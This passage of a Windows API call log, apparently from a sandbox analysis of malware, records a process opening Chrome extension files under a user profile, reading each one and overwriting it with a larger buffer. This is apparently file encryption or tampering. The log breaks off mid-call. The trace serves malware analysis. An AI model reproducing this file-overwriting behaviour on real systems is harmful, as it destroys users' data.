(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.469] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.469] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe4 [0050.469] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.469] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.469] ReleaseMutex (hMutex=0x128) returned 1 [0050.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.469] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xe4, lpOverlapped=0x0) returned 1 [0050.470] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.470] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x66c, lpOverlapped=0x0) returned 1 [0050.470] CloseHandle (hObject=0x1a8) returned 1 [0050.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.470] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe3 [0050.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.471] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.471] ReleaseMutex (hMutex=0x128) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.471] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xe3, lpOverlapped=0x0) returned 1 [0050.472] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.472] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x66b, lpOverlapped=0x0) returned 1 [0050.472] CloseHandle (hObject=0x1a8) returned 1 [0050.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.472] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.472] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x160 [0050.472] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.473] ReleaseMutex (hMutex=0x128) returned 1 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0050.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="computed_hashes.json", lpUsedDefaultChar=0x0) returned 20 [0050.473] ReadFile (in: hFile=0x1a8, lpBuffer=0x2635928, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x354f2bc*=0x160, lpOverlapped=0x0) returned 1 [0050.473] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.474] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e8, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6e8, lpOverlapped=0x0) returned 1 [0050.474] CloseHandle (hObject=0x1a8) returned 1 [0050.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.474] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.474] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xde [0050.474] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.474] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.474] ReleaseMutex (hMutex=0x128) returned 1 [0050.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.475] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xde, lpOverlapped=0x0) returned 1 [0050.475] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.475] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x666, lpOverlapped=0x0) returned 1 [0050.476] CloseHandle (hObject=0x1a8) returned 1 [0050.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.476] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.476] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xdb [0050.476] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.476] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.476] ReleaseMutex (hMutex=0x128) returned 1 [0050.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.476] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xdb, lpOverlapped=0x0) returned 1 [0050.477] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.477] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x663, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x663, lpOverlapped=0x0) returned 1 [0050.478] CloseHandle (hObject=0x1a8) returned 1 [0050.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe0 [0050.478] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.478] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.478] ReleaseMutex (hMutex=0x128) returned 1 [0050.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.478] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0050.479] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.479] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x668, lpOverlapped=0x0) returned 1 [0050.479] CloseHandle (hObject=0x1a8) returned 1 [0050.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.480] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.480] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xda [0050.480] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.480] ReleaseMutex (hMutex=0x128) returned 1 [0050.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.480] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x354f2bc*=0xda, lpOverlapped=0x0) returned 1 [0050.481] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.481] WriteFile (in: hFile=0x1a8, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x662, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x662, lpOverlapped=0x0) returned 1 [0050.481] CloseHandle (hObject=0x1a8) returned 1 [0050.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.482] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.482] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2b56 [0050.482] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.482] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.482] ReleaseMutex (hMutex=0x128) returned 1 [0050.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0050.482] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78bcc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0050.482] ReadFile (in: hFile=0x1a8, lpBuffer=0x276c688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276c688*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.504] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1b56 [0050.504] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.536] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1b56 [0050.536] WriteFile (in: hFile=0x1a8, lpBuffer=0x26197d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x26197d8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.537] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0050.537] WriteFile (in: hFile=0x1a8, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.537] CloseHandle (hObject=0x1a8) returned 1 [0050.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.538] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.538] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xf9 [0050.538] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.538] ReleaseMutex (hMutex=0x128) returned 1 [0050.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.538] ReadFile (in: hFile=0x1a8, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x354f2bc*=0xf9, lpOverlapped=0x0) returned 1 [0050.539] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0050.539] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x681, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x681, lpOverlapped=0x0) returned 1 [0050.539] CloseHandle (hObject=0x1a8) returned 1 [0050.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0050.540] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.540] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x159 [0050.540] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0050.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.540] ReleaseMutex (hMutex=0x128) returned 1 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.540] ReadFile (in: hFile=0x1a8, lpBuffer=0x2635928, nNumberOfBytesToRead=0x159, 